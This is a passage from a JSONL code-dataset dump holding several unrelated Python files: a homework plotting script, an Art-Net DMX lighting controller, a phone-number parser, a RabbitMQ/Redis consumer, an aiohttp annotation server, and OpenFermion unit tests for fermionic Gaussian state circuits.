FK[k,:] = abs(fk)\n# FREQ[k,:] = freq \n\nRANG, FREQ = np.meshgrid(rang,freq)\nplt.figure()\nplt.xlabel('Frequency Bins')\nplt.ylabel('Range Bins')\nplt.title('Fourier Coefficients over Range and Frequency for 7-Baud Barker')\nplt.imshow((FK[1:,:]),cmap='gray_r',interpolation='none', origin='lower') \nplt.show()\n\n\n#%% Problem 6\n#a\nXM = np.zeros((10000),dtype=complex)\nfor i in range(len(XM)):\n XM[i]= P1(genwhite(100))\n \nXMs=np.sort(abs(XM-1))\nprint('75% Range is '+str(1-XMs[7500])+' to ' +str(1+XMs[7500]))\n\n\n#b\nprint('In 10000 samples of P1 the maximum value is'+str(XMs[-1])+'. The possibility to get a value greater than 1.5 in 100 samples is very, very rare.')\nplt.figure(figsize=(15,5))\nplt.hist(XM,bins=[0.5,0.75,1,1.25,1.5],cumulative=True)\n\n\n#%% Problem 7\n\n\nX = np.zeros((10000,100),dtype=complex)\nP1est = np.zeros((10000),dtype=complex)\nfor i in range(len(X[1,:])):\n X[i,:]= genwhite(100)\n X[i,1]=20*X[i,1]\n P1est[i] = P1(X[i,:]).real\n\nplt.figure(figsize=(15,5))\nplt.hist(X,bins=np.linspace(0.5,1.5,50))\n","sub_path":"HW3/HW3.py","file_name":"HW3.py","file_ext":"py","file_size_in_byte":5939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"597504287","text":"# -*- coding: utf-8 -*-\n\nimport sys, socket, math, time\nfrom ctypes import *\nimport SMComm\nimport os.path\n\n__author__ = \"Micael Martins\"\n__copyright__ = \"Copyright 2017, Itelmatis\"\n__credits__ = [\"Micael Martins\"]\n__version__ = \"v1.0 - Python2.7\"\n__maintainer__ = \"Micael Martins\"\n__email__ = \"MicaelMartins@itelmatis.com\"\n__status__ = \"Under Development\"\n\nhostIP = \"10.7.191.194\"\nQuantidadeLampadas = 100\nCanaisPorLampada = 3\nDelayDoCiclo = 0.1\n\nMapaCores = {\n\t\t\t\"Desligado\": {\"R\": 0, \"G\": 0, \"B\": 0 },\n\t\t\t\"Vermelho\": {\"R\": 255, \"G\": 0, \"B\": 0 },\n\t\t\t\"Laranja\": {\"R\": 255, \"G\": 127, \"B\": 0 },\n\t\t\t\"Amarelo\": {\"R\": 255, \"G\": 255, \"B\": 0 },\n\t\t\t\"Verde Lima\": {\"R\": 127, \"G\": 255, \"B\": 0 },\n\t\t\t\"Verde\": {\"R\": 0, \"G\": 255, \"B\": 0 },\n\t\t\t\"Verde Azul\": {\"R\": 0, \"G\": 255, \"B\": 127 },\n\t\t\t\"Ciano\": {\"R\": 0, \"G\": 255, \"B\": 255 },\n\t\t\t\"Azul Claro\": {\"R\": 0, \"G\": 127, \"B\": 255 },\n\t\t\t\"Azul\": {\"R\": 0, \"G\": 0, \"B\": 255 },\n\t\t\t\"Violeta\": {\"R\": 127, \"G\": 0, \"B\": 255 },\n\t\t\t\"Magenta\": {\"R\": 255, \"G\": 0, \"B\": 255 },\n\t\t\t\"Rosa\": {\"R\": 255, \"G\": 0, \"B\": 127 },\n\t\t\t\"Branco\": {\"R\": 255, \"G\": 255, \"B\": 255 }\n\t\t\t}\n\nrelacaoCores = [\"Desligado\", \"Vermelho\", \"Laranja\",\n\t\t\t\t\"Amarelo\", \"Verde Lima\", \"Verde\",\n\t\t\t\t\"Verde Azul\", \"Ciano\", \"Azul Claro\",\n\t\t\t\t\"Azul\", \"Violeta\", \"Magenta\", \"Rosa\",\n\t\t\t\t\"Branco\"]\n\nclass ArtNetDMXOut(LittleEndianStructure):\n\tPORT = 0x1936\n\t_fields_ = [(\"id\", c_char * 8),\n\t\t\t\t(\"opcode\", c_ushort),\n\t\t\t\t(\"protverh\", c_ubyte),\n\t\t\t\t(\"protver\", c_ubyte),\n\t\t\t\t(\"sequence\", c_ubyte),\n\t\t\t\t(\"physical\", c_ubyte),\n\t\t\t\t(\"universe\", c_ushort),\n\t\t\t\t(\"lengthhi\", c_ubyte),\n\t\t\t\t(\"length\", c_ubyte),\n\t\t\t\t(\"payload\", c_ubyte * 512)]\n\n\tdef __init__(self):\n\t\tself.id = b\"Art-Net\"\n\t\tself.opcode = 0x5000\n\t\tself.protver = 14\n\t\tself.universe = 0\n\t\tself.lengthhi = 2\n\ndef main():\n\tdiretoriaPRT = \"C:\\\\S-Monitor\\\\DMX\"\n\tTags = []\n\tLampadas = {}\n\ttry:\n\t\tif not os.path.exists(diretoriaPRT):\n\t\t\tos.makedirs(diretoriaPRT)\n\t\tif('smonitor' not in locals()):\n\t\t\tfor ID in range(1, QuantidadeLampadas * CanaisPorLampada, CanaisPorLampada):\n\t\t\t\tnome = \"LampadaAddress \" + str(ID)\n\t\t\t\tTags.append(SMComm.Tag(nome, 0))\n\t\t\t\tLampadas[nome] = 0\n\t\t\tsmonitor = SMComm.SMServer(Tags, diretoriaPRT + \"\\\\DMX.prt\")\n\texcept:\n\t\tpass\n\tENTTEC = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\n\tpacket = ArtNetDMXOut()\n\twhile True:\n\t\ttry:\n\t\t\tTagsUpdated = smonitor.Pull()\n\t\t\twhile(len(TagsUpdated) > 0):\n\t\t\t\tTag = TagsUpdated.pop()\n\t\t\t\tLampadas[Tag.name] = int(Tag.value)\n\t\t\tcontador = 0\n\t\t\tfor ID in range(1, QuantidadeLampadas * CanaisPorLampada, CanaisPorLampada):\n\t\t\t\t\tnome = \"LampadaAddress \" + str(ID)\n\t\t\t\t\tif Lampadas[nome] > (len(relacaoCores) - 1):\n\t\t\t\t\t\tLampadas[nome] = (len(relacaoCores) - 1)\n\t\t\t\t\tif Lampadas[nome] < 0:\n\t\t\t\t\t\tLampadas[nome] = 0\n\t\t\t\t\tpacket.payload[contador] = MapaCores[relacaoCores[Lampadas[nome]]][\"R\"]\n\t\t\t\t\tpacket.payload[contador + 1] = MapaCores[relacaoCores[Lampadas[nome]]][\"G\"]\n\t\t\t\t\tpacket.payload[contador + 2] = MapaCores[relacaoCores[Lampadas[nome]]][\"B\"]\n\t\t\t\t\tcontador += CanaisPorLampada\n\t\t\tENTTEC.sendto(packet, (hostIP, ArtNetDMXOut.PORT))\n\t\t\tsmonitor.Push()\n\t\texcept:\n\t\t\tpass\n\t\ttime.sleep(DelayDoCiclo)\n\n\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"DMX/dmx.py","file_name":"dmx.py","file_ext":"py","file_size_in_byte":3134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"278770042","text":"##ugly code solving parse phone number question in microsoft code compete\n\nimport re\ntext = ''.join(open('PracticeInput.txt').readlines())\n\ntext_file = open(\"Output.txt\", \"w\")\n# text = ''.join(open('test.txt').readlines())\nphoneNumbers = re.split(r'\\n', text)\nwith open(\"Output.txt\", \"w\") as text_file:\n\tdata = \"\"\n\tfor pn in phoneNumbers:\n\n\t\telements = re.findall(\"\\d+\",pn)\n\t\tnumLength = 0\n\t\tfor e in elements:\n\t\t\tnumLength = numLength+len(e)\n\n\t\tif pn.startswith('1'):\n\t\t\tchars = list(pn[5:])\n\t\t\t# print(chars)\n\t\t\tnewNum =\"\"\n\t\t\tfor c in chars:\n\t\t\t\tif c in ('A','B','C','a','b','c'):\n\t\t\t\t\tnewNum += '2'\n\t\t\t\tif c in ('D','E','F','d','e','f'):\n\t\t\t\t\tnewNum += '3'\n\t\t\t\tif c in ('G','H','I','g','h','i'):\n\t\t\t\t\tnewNum += '4'\n\t\t\t\tif c in ('J','K','L','j','k','l'):\n\t\t\t\t\tnewNum += '5'\t\n\t\t\t\tif c in ('M','N','O','m','n','o'):\n\t\t\t\t\tnewNum += '6'\n\t\t\t\tif c in ('P','Q','R','S','p','q','r','s'):\n\t\t\t\t\tnewNum += '7'\n\t\t\t\tif c in ('T','U','V','t','u','v'):\n\t\t\t\t\tnewNum += '8'\n\t\t\t\tif c in ('W','X','Y','Z','w','x','y','z'):\n\t\t\t\t\tnewNum += '9'\n\t\t\t\tif c in ('1','2','3','4','5','6','7','8','9','0'):\n\t\t\t\t\tnewNum += c\n\t\t\t\telse:\n\t\t\t\t\tnewNum +=\"\"\n\n\t\t\t# print(newNum)\n\t\t\t# print(\"+1\"+pn[0]+pn[2:5]+newNum)\n\t\t\tif (len(newNum)==7):\n\t\t\t\tdata = \"+\"+pn[0]+pn[2:5]+newNum\n\t\t\t\tprint(data)\n\t\t# print(chars)\n\t\t# print(newNum)\n\n\t\t\n\n\t\t# print(numLength)\n\t\telif numLength==11:\n\t\t\toutput = \"+\"\n\t\t\tfor e in elements:\n\t\t\t\toutput=output+e\n\t\t\tif(output[1]=='1'):\n\t\t\t\tdata = output\n\t\t\t\tprint(output)\n\t\t\telse:\n\t\t\t\tdata = \"Fleshling follow-up needed\"\n\t\t\t\tprint(\"Fleshling follow-up needed\")\n\n\t\telif numLength == 10:\n\t\t\toutput = \"+1\"\n\t\t\tfor e in elements:\n\t\t\t\toutput = output + e\n\t\t\t\n\t\t\tdata = output\n\t\t\tprint(output)\n\n\t\telse:\n\t\t\tdata = \"Fleshling follow-up needed\"\n\t\t\tprint(\"Fleshling follow-up needed\")\n\n\t\ttext_file.write(data+'\\n')\n\t\ntext_file.close()\n\n","sub_path":"misc/PhoneParse.py","file_name":"PhoneParse.py","file_ext":"py","file_size_in_byte":1811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"634335858","text":"import pika\nimport os\nfrom time import sleep\nimport json\nimport redis\n\n\nredis_conn = redis.Redis(\n host='redis',\n port=6379,\n charset=\"utf-8\",\n decode_responses=True\n)\n\n\namqp_url = os.environ.get('AMQP_URL')\nurl_params = pika.URLParameters(amqp_url)\nwhile True:\n try:\n connection = pika.BlockingConnection(url_params)\n print('Connected to rabbitmq')\n break\n except pika.exceptions.AMQPConnectionError:\n print('AMQPConnectionError trying again')\n sleep(5)\n continue\n\nchannel = connection.channel()\nchannel.queue_declare(queue='age', durable=True)\n\n\ndef receive_msg(chan, method, properties, body):\n message = body.decode('utf-8')\n message = json.loads(message)\n allow = False\n\n value = message.get('value')\n ticket = message.get('ticket')\n if value and value > 18:\n print(f'{message} allowed')\n allow = True\n else:\n print(f'{message} NOT allowed')\n if allow:\n msg = f'age{ticket}'\n redis_conn.set(msg, 1)\n print(f'age{ticket} saved on DB')\n\n chan.basic_ack(delivery_tag=method.delivery_tag)\n\n\nchannel.basic_qos(prefetch_count=1)\nchannel.basic_consume(queue='age',\n on_message_callback=receive_msg)\n\nchannel.start_consuming()\n","sub_path":"consumer_age/lambda_handler.py","file_name":"lambda_handler.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"155357927","text":"def countLetters(word):\n \n counter = {}\n for letter in word.lower():\n if letter not in counter:\n counter[letter] = 0\n counter[letter] += 1\n \n return sorted(counter.items(), key = lambda x: x[1], reverse=True)\n \nword = input()\n\ncounter = countLetters(word)\n\nif len(counter) == 1:\n print(counter[0][0].upper())\n\nelif counter[0][1] == counter[1][1]:\n print(\"?\")\nelse:\n print(counter[0][0].upper())\n","sub_path":"3주차/이상민/[문자열]하나하나.py","file_name":"[문자열]하나하나.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"407102684","text":"# -*- coding: utf-8 -*-\n\n\nimport aiohttp\nfrom aiohttp import web\nimport argparse\nimport asyncio\nimport concurrent.futures\nimport io\nimport os\n\nfrom .data import Data\n\n\n# Local resources\nHERE = os.path.dirname(os.path.realpath(__file__))\nINDEX_HTML = os.path.join(HERE, 'index.html')\nD3_JS = os.path.join(HERE, 'd3.v4.min.js')\n\n\n# Handler factory for static files\ndef static_handler(path):\n async def handler(request):\n return web.FileResponse(path)\n return handler\n\n\n# Acquire sample\nasync def get_api_annotation(request):\n data = request.app['data']\n payload = await data.get_next_sample()\n return web.json_response(payload)\n\n\n# Save annotation result\nasync def post_api_annotation(request):\n data = request.app['data']\n payload = await request.json()\n result = await data.add_annotation(payload)\n return web.json_response(result)\n\n\n# Run service\ndef run(host, port, metadata_path, image_folder, annotation_path):\n with concurrent.futures.ThreadPoolExecutor(max_workers=4) as executor:\n \n # Create application\n app = web.Application()\n app.add_routes([\n web.get('/', static_handler(INDEX_HTML)),\n web.get('/d3.v4.min.js', static_handler(D3_JS)),\n web.get('/api/annotation', get_api_annotation),\n web.post('/api/annotation', post_api_annotation)\n ])\n app['executor'] = executor\n app['data'] = Data(metadata_path, image_folder, annotation_path, executor)\n app['annotation_path'] = annotation_path\n \n # Start server\n runner = web.AppRunner(app)\n loop = asyncio.get_event_loop()\n async def start():\n await runner.setup()\n site = web.TCPSite(runner, host, port)\n await site.start()\n loop.run_until_complete(start())\n print(f'Running on {host}:{port}')\n \n # Run forever (hack to avoid blocking select on Windows with default loop)\n async def foo():\n while True:\n await asyncio.sleep(1.0)\n try:\n loop.run_until_complete(foo())\n except KeyboardInterrupt:\n pass\n \n # Cleanup\n loop.run_until_complete(runner.cleanup())\n\n\n# Standalone usage\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Box annotator service')\n parser.add_argument('-H', '--host', nargs='?', default='0.0.0.0', help='Host address bound')\n parser.add_argument('-P', '--port', nargs='?', type=int, default=80, help='Port used')\n parser.add_argument('-M', '--metadata', nargs='?', default='./metadata.json', help='Metadata file')\n parser.add_argument('-I', '--images', nargs='?', default='./images/', help='Image folder')\n parser.add_argument('-A', '--annotation', nargs='?', default='./annotation.json', help='Annotation file')\n args = parser.parse_args()\n run(args.host, args.port, args.metadata, args.images, args.annotation)\n","sub_path":"box/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"636637233","text":"# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Tests for slater_determinants.py.\"\"\"\nfrom __future__ import absolute_import\n\nimport numpy\nimport unittest\nfrom scipy.linalg import qr\n\nfrom openfermion.config import EQ_TOLERANCE\nfrom openfermion.ops import QuadraticHamiltonian\nfrom openfermion.ops._quadratic_hamiltonian import (\n antisymmetric_canonical_form,\n diagonalizing_fermionic_unitary,\n swap_rows)\nfrom openfermion.ops._quadratic_hamiltonian_test import (\n random_hermitian_matrix, random_antisymmetric_matrix)\nfrom openfermion.transforms import get_sparse_operator\nfrom openfermion.utils import (fermionic_gaussian_decomposition,\n get_ground_state,\n givens_decomposition,\n gaussian_state_preparation_circuit,\n jw_get_gaussian_state,\n jw_slater_determinant)\nfrom openfermion.utils._slater_determinants import (\n double_givens_rotate,\n givens_rotate,\n givens_matrix_elements,\n jw_sparse_givens_rotation,\n jw_sparse_particle_hole_transformation_last_mode)\n\n\nclass GaussianStatePreparationCircuitTest(unittest.TestCase):\n\n def setUp(self):\n self.n_qubits_range = range(3, 6)\n\n def test_ground_state_particle_conserving(self):\n \"\"\"Test getting the ground state preparation circuit for a Hamiltonian\n that conserves particle number.\"\"\"\n for n_qubits in self.n_qubits_range:\n # Initialize a particle-number-conserving Hamiltonian\n quadratic_hamiltonian = random_quadratic_hamiltonian(\n n_qubits, True, True)\n\n # Compute the true ground state\n sparse_operator = get_sparse_operator(quadratic_hamiltonian)\n ground_energy, ground_state = get_ground_state(sparse_operator)\n\n # Obtain the circuit\n circuit_description, start_orbitals = (\n gaussian_state_preparation_circuit(quadratic_hamiltonian))\n\n # Initialize the starting state\n state = jw_slater_determinant(start_orbitals, n_qubits)\n\n # Apply the circuit\n particle_hole_transformation = (\n jw_sparse_particle_hole_transformation_last_mode(n_qubits))\n for parallel_ops in circuit_description:\n for op in parallel_ops:\n if op == 'pht':\n state = particle_hole_transformation.dot(state)\n else:\n i, j, theta, phi = op\n state = jw_sparse_givens_rotation(\n i, j, theta, phi, n_qubits).dot(state)\n\n # Check that the state obtained using the circuit is a ground state\n difference = sparse_operator * state - ground_energy * state\n discrepancy = 0.\n if difference.nnz:\n discrepancy = max(abs(difference.data))\n\n self.assertTrue(discrepancy < EQ_TOLERANCE)\n\n def test_ground_state_particle_nonconserving(self):\n \"\"\"Test getting the ground state preparation circuit for a Hamiltonian\n that does not conserve particle number.\"\"\"\n for n_qubits in self.n_qubits_range:\n # Initialize a particle-number-conserving Hamiltonian\n quadratic_hamiltonian = random_quadratic_hamiltonian(\n n_qubits, False, True)\n\n # Compute the true ground state\n sparse_operator = get_sparse_operator(quadratic_hamiltonian)\n ground_energy, ground_state = get_ground_state(sparse_operator)\n\n # Obtain the circuit\n circuit_description, start_orbitals = (\n gaussian_state_preparation_circuit(quadratic_hamiltonian))\n\n # Initialize the starting state\n state = jw_slater_determinant(start_orbitals, n_qubits)\n\n # Apply the circuit\n particle_hole_transformation = (\n jw_sparse_particle_hole_transformation_last_mode(n_qubits))\n for parallel_ops in circuit_description:\n for op in parallel_ops:\n if op == 'pht':\n state = particle_hole_transformation.dot(state)\n else:\n i, j, theta, phi = op\n state = jw_sparse_givens_rotation(\n i, j, theta, phi, n_qubits).dot(state)\n\n # Check that the state obtained using the circuit is a ground state\n difference = sparse_operator * state - ground_energy * state\n discrepancy = 0.\n if difference.nnz:\n discrepancy = max(abs(difference.data))\n\n self.assertTrue(discrepancy < EQ_TOLERANCE)\n\n def test_bad_input(self):\n \"\"\"Test bad input.\"\"\"\n with self.assertRaises(ValueError):\n description, n_electrons = gaussian_state_preparation_circuit('a')\n\n\nclass JWGetGaussianStateTest(unittest.TestCase):\n\n def setUp(self):\n self.n_qubits_range = range(2, 10)\n\n def test_ground_state_particle_conserving(self):\n \"\"\"Test getting the ground state of a Hamiltonian that conserves\n particle number.\"\"\"\n for n_qubits in self.n_qubits_range:\n # Initialize a particle-number-conserving Hamiltonian\n quadratic_hamiltonian = random_quadratic_hamiltonian(\n n_qubits, True)\n\n # Compute the true ground state\n sparse_operator = get_sparse_operator(quadratic_hamiltonian)\n ground_energy, ground_state = get_ground_state(sparse_operator)\n\n # Compute the ground state using the circuit\n circuit_energy, circuit_state = jw_get_gaussian_state(\n quadratic_hamiltonian)\n\n # Check that the energies match\n self.assertAlmostEqual(ground_energy, circuit_energy)\n\n # Check that the state obtained using the circuit is a ground state\n difference = (sparse_operator * circuit_state -\n ground_energy * circuit_state)\n discrepancy = 0.\n if difference.nnz:\n discrepancy = max(abs(difference.data))\n\n self.assertTrue(discrepancy < EQ_TOLERANCE)\n\n def test_ground_state_particle_nonconserving(self):\n \"\"\"Test getting the ground state of a Hamiltonian that does not\n conserve particle number.\"\"\"\n for n_qubits in self.n_qubits_range:\n # Initialize a non-particle-number-conserving Hamiltonian\n quadratic_hamiltonian = random_quadratic_hamiltonian(\n n_qubits, False)\n\n # Compute the true ground state\n sparse_operator = get_sparse_operator(quadratic_hamiltonian)\n ground_energy, ground_state = get_ground_state(sparse_operator)\n\n # Compute the ground state using the circuit\n circuit_energy, circuit_state = (\n jw_get_gaussian_state(\n quadratic_hamiltonian))\n\n # Check that the energies match\n self.assertAlmostEqual(ground_energy, circuit_energy)\n\n # Check that the state obtained using the circuit is a ground state\n difference = (sparse_operator * circuit_state -\n ground_energy * circuit_state)\n discrepancy = 0.\n if difference.nnz:\n discrepancy = max(abs(difference.data))\n\n self.assertTrue(discrepancy < EQ_TOLERANCE)\n\n def test_excited_state_particle_conserving(self):\n \"\"\"Test getting an excited state of a Hamiltonian that conserves\n particle number.\"\"\"\n for n_qubits in self.n_qubits_range:\n # Initialize a particle-number-conserving Hamiltonian\n quadratic_hamiltonian = random_quadratic_hamiltonian(\n n_qubits, True)\n\n # Pick some orbitals to occupy\n num_occupied_orbitals = numpy.random.randint(1, n_qubits + 1)\n occupied_orbitals = numpy.random.choice(\n range(n_qubits), num_occupied_orbitals, False)\n\n # Compute the Gaussian state\n circuit_energy, gaussian_state = jw_get_gaussian_state(\n quadratic_hamiltonian, occupied_orbitals)\n\n # Compute the true energy\n orbital_energies, constant = (\n quadratic_hamiltonian.orbital_energies())\n energy = numpy.sum(orbital_energies[occupied_orbitals]) + constant\n\n # Check that the energies match\n self.assertAlmostEqual(energy, circuit_energy)\n\n # Check that the state obtained using the circuit is an eigenstate\n # with the correct eigenvalue\n sparse_operator = get_sparse_operator(quadratic_hamiltonian)\n difference = (sparse_operator * gaussian_state -\n energy * gaussian_state)\n discrepancy = 0.\n if difference.nnz:\n discrepancy = max(abs(difference.data))\n\n self.assertTrue(discrepancy < EQ_TOLERANCE)\n\n def test_excited_state_particle_nonconserving(self):\n \"\"\"Test getting an excited state of a Hamiltonian that conserves\n particle number.\"\"\"\n for n_qubits in self.n_qubits_range:\n # Initialize a non-particle-number-conserving Hamiltonian\n quadratic_hamiltonian = random_quadratic_hamiltonian(\n n_qubits, False)\n\n # Pick some orbitals to occupy\n num_occupied_orbitals = numpy.random.randint(1, n_qubits + 1)\n occupied_orbitals = numpy.random.choice(\n range(n_qubits), num_occupied_orbitals, False)\n\n # Compute the Gaussian state\n circuit_energy, gaussian_state = jw_get_gaussian_state(\n quadratic_hamiltonian, occupied_orbitals)\n\n # Compute the true energy\n orbital_energies, constant = (\n quadratic_hamiltonian.orbital_energies())\n energy = numpy.sum(orbital_energies[occupied_orbitals]) + constant\n\n # Check that the energies match\n self.assertAlmostEqual(energy, circuit_energy)\n\n # Check that the state obtained using the circuit is an eigenstate\n # with the correct eigenvalue\n sparse_operator = get_sparse_operator(quadratic_hamiltonian)\n difference = (sparse_operator * gaussian_state -\n energy * gaussian_state)\n discrepancy = 0.\n if difference.nnz:\n discrepancy = max(abs(difference.data))\n\n self.assertTrue(discrepancy < EQ_TOLERANCE)\n\n def test_bad_input(self):\n \"\"\"Test bad input.\"\"\"\n with self.assertRaises(ValueError):\n energy, state = jw_get_gaussian_state('a')\n\n\nclass GivensDecompositionTest(unittest.TestCase):\n\n def setUp(self):\n self.test_dimensions = [(3, 4), (3, 5), (3, 6), (3, 7), (3, 8), (3, 9),\n (4, 7), (4, 8), (4, 9)]\n\n def test_main_procedure(self):\n for m, n in self.test_dimensions:\n # Obtain a random matrix of orthonormal rows\n x = numpy.random.randn(n, n)\n y = numpy.random.randn(n, n)\n A = x + 1.j*y\n Q, R = qr(A)\n Q = Q[:m, :]\n\n # Get Givens decomposition of Q\n givens_rotations, V, diagonal = givens_decomposition(Q)\n\n # Compute U\n U = numpy.eye(n, dtype=complex)\n for parallel_set in givens_rotations:\n combined_givens = numpy.eye(n, dtype=complex)\n for i, j, theta, phi in reversed(parallel_set):\n c = numpy.cos(theta)\n s = numpy.sin(theta)\n phase = numpy.exp(1.j * phi)\n G = numpy.array([[c, -phase * s],\n [s, phase * c]], dtype=complex)\n givens_rotate(combined_givens, G, i, j)\n U = combined_givens.dot(U)\n\n # Compute V * Q * U^\\dagger\n W = V.dot(Q.dot(U.T.conj()))\n\n # Construct the diagonal matrix\n D = numpy.zeros((m, n), dtype=complex)\n D[numpy.diag_indices(m)] = diagonal\n\n # Assert that W and D are the same\n for i in range(m):\n for j in range(n):\n self.assertAlmostEqual(D[i, j], W[i, j])\n\n def test_real_numbers(self):\n for m, n in self.test_dimensions:\n # Obtain a random matrix of orthonormal rows\n A = numpy.random.randn(n, n)\n Q, R = qr(A)\n Q = Q[:m, :]\n\n # Get Givens decomposition of Q\n givens_rotations, V, diagonal = givens_decomposition(Q)\n\n # Compute U\n U = numpy.eye(n, dtype=complex)\n for parallel_set in givens_rotations:\n combined_givens = numpy.eye(n, dtype=complex)\n for i, j, theta, phi in reversed(parallel_set):\n c = numpy.cos(theta)\n s = numpy.sin(theta)\n phase = numpy.exp(1.j * phi)\n G = numpy.array([[c, -phase * s],\n [s, phase * c]], dtype=complex)\n givens_rotate(combined_givens, G, i, j)\n U = combined_givens.dot(U)\n\n # Compute V * Q * U^\\dagger\n W = V.dot(Q.dot(U.T.conj()))\n\n # Construct the diagonal matrix\n D = numpy.zeros((m, n), dtype=complex)\n D[numpy.diag_indices(m)] = diagonal\n\n # Assert that W and D are the same\n for i in range(m):\n for j in range(n):\n self.assertAlmostEqual(D[i, j], W[i, j])\n\n def test_bad_dimensions(self):\n m, n = (3, 2)\n\n # Obtain a random matrix of orthonormal rows\n x = numpy.random.randn(m, m)\n y = numpy.random.randn(m, m)\n A = x + 1.j*y\n Q, R = qr(A)\n Q = Q[:m, :n]\n\n with self.assertRaises(ValueError):\n givens_rotations, V, diagonal = givens_decomposition(Q)\n\n def test_identity(self):\n n = 3\n Q = numpy.eye(n, dtype=complex)\n givens_rotations, V, diagonal = givens_decomposition(Q)\n\n # V should be the identity\n I = numpy.eye(n, dtype=complex)\n for i in range(n):\n for j in range(n):\n self.assertAlmostEqual(V[i, j], I[i, j])\n\n # There should be no Givens rotations\n self.assertEqual(givens_rotations, list())\n\n # The diagonal should be ones\n for d in diagonal:\n self.assertAlmostEqual(d, 1.)\n\n def test_antidiagonal(self):\n m, n = (3, 3)\n Q = numpy.zeros((m, n), dtype=complex)\n Q[0, 2] = 1.\n Q[1, 1] = 1.\n Q[2, 0] = 1.\n givens_rotations, V, diagonal = givens_decomposition(Q)\n\n # There should be no Givens rotations\n self.assertEqual(givens_rotations, list())\n\n # VQ should equal the diagonal\n VQ = V.dot(Q)\n D = numpy.zeros((m, n), dtype=complex)\n D[numpy.diag_indices(m)] = diagonal\n for i in range(n):\n for j in range(n):\n self.assertAlmostEqual(VQ[i, j], D[i, j])\n\n def test_square(self):\n m, n = (3, 3)\n # Obtain a random matrix of orthonormal rows\n x = numpy.random.randn(n, n)\n y = numpy.random.randn(n, n)\n A = x + 1.j*y\n Q, R = qr(A)\n Q = Q[:m, :]\n\n # Get Givens decomposition of Q\n givens_rotations, V, diagonal = givens_decomposition(Q)\n\n # There should be no Givens rotations\n self.assertEqual(givens_rotations, list())\n\n # Compute V * Q * U^\\dagger\n W = V.dot(Q)\n\n # Construct the diagonal matrix\n D = numpy.zeros((m, n), dtype=complex)\n D[numpy.diag_indices(m)] = diagonal\n\n # Assert that W and D are the same\n for i in range(m):\n for j in range(n):\n self.assertAlmostEqual(D[i, j], W[i, j])\n\n\nclass FermionicGaussianDecompositionTest(unittest.TestCase):\n\n def setUp(self):\n self.test_dimensions = [3, 4, 5, 6, 7, 8, 9]\n\n def test_main_procedure(self):\n for n in self.test_dimensions:\n # Obtain a random antisymmetric matrix\n antisymmetric_mat = random_antisymmetric_matrix(2 * n, real=True)\n\n # Get the diagonalizing fermionic unitary\n ferm_unitary = diagonalizing_fermionic_unitary(\n antisymmetric_mat)\n lower_unitary = ferm_unitary[n:]\n\n # Get fermionic Gaussian decomposition of lower_unitary\n decomposition, left_decomposition, diagonal, left_diagonal = (\n fermionic_gaussian_decomposition(lower_unitary))\n\n # Compute left_unitary\n left_unitary = numpy.eye(n, dtype=complex)\n for parallel_set in left_decomposition:\n combined_op = numpy.eye(n, dtype=complex)\n for op in reversed(parallel_set):\n i, j, theta, phi = op\n c = numpy.cos(theta)\n s = numpy.sin(theta)\n phase = numpy.exp(1.j * phi)\n givens_rotation = numpy.array(\n [[c, -phase * s],\n [s, phase * c]], dtype=complex)\n givens_rotate(combined_op, givens_rotation, i, j)\n left_unitary = combined_op.dot(left_unitary)\n for i in range(n):\n left_unitary[i] *= left_diagonal[i]\n left_unitary = left_unitary.T\n for i in range(n):\n left_unitary[i] *= diagonal[i]\n\n # Check that left_unitary zeroes out the correct entries of\n # lower_unitary\n product = left_unitary.dot(lower_unitary)\n for i in range(n - 1):\n for j in range(n - 1 - i):\n self.assertAlmostEqual(product[i, j], 0.)\n\n # Compute right_unitary\n right_unitary = numpy.eye(2 * n, dtype=complex)\n for parallel_set in decomposition:\n combined_op = numpy.eye(2 * n, dtype=complex)\n for op in reversed(parallel_set):\n if op == 'pht':\n swap_rows(combined_op, n - 1, 2 * n - 1)\n else:\n i, j, theta, phi = op\n c = numpy.cos(theta)\n s = numpy.sin(theta)\n phase = numpy.exp(1.j * phi)\n givens_rotation = numpy.array(\n [[c, -phase * s],\n [s, phase * c]], dtype=complex)\n double_givens_rotate(\n combined_op, givens_rotation, i, j)\n right_unitary = combined_op.dot(right_unitary)\n\n # Compute left_unitary * lower_unitary * right_unitary^\\dagger\n product = left_unitary.dot(lower_unitary.dot(\n right_unitary.T.conj()))\n\n # Construct the diagonal matrix\n diag = numpy.zeros((n, 2 * n), dtype=complex)\n diag[range(n), range(n, 2 * n)] = diagonal\n\n # Assert that W and D are the same\n for i in numpy.ndindex((n, 2 * n)):\n self.assertAlmostEqual(diag[i], product[i])\n\n def test_bad_dimensions(self):\n n, p = (3, 7)\n rand_mat = numpy.random.randn(n, p)\n with self.assertRaises(ValueError):\n decomposition, left_unitary, antidiagonal = (\n fermionic_gaussian_decomposition(rand_mat))\n\n def test_bad_constraints(self):\n n = 3\n ones_mat = numpy.ones((n, 2 * n))\n with self.assertRaises(ValueError):\n decomposition, left_unitary, antidiagonal = (\n fermionic_gaussian_decomposition(ones_mat))\n\n\nclass DiagonalizingFermionicUnitaryTest(unittest.TestCase):\n\n def setUp(self):\n self.n_qubits = 5\n self.constant = 1.7\n self.chemical_potential = 2.\n\n # Obtain random Hermitian and antisymmetric matrices\n self.hermitian_mat = random_hermitian_matrix(self.n_qubits)\n self.antisymmetric_mat = 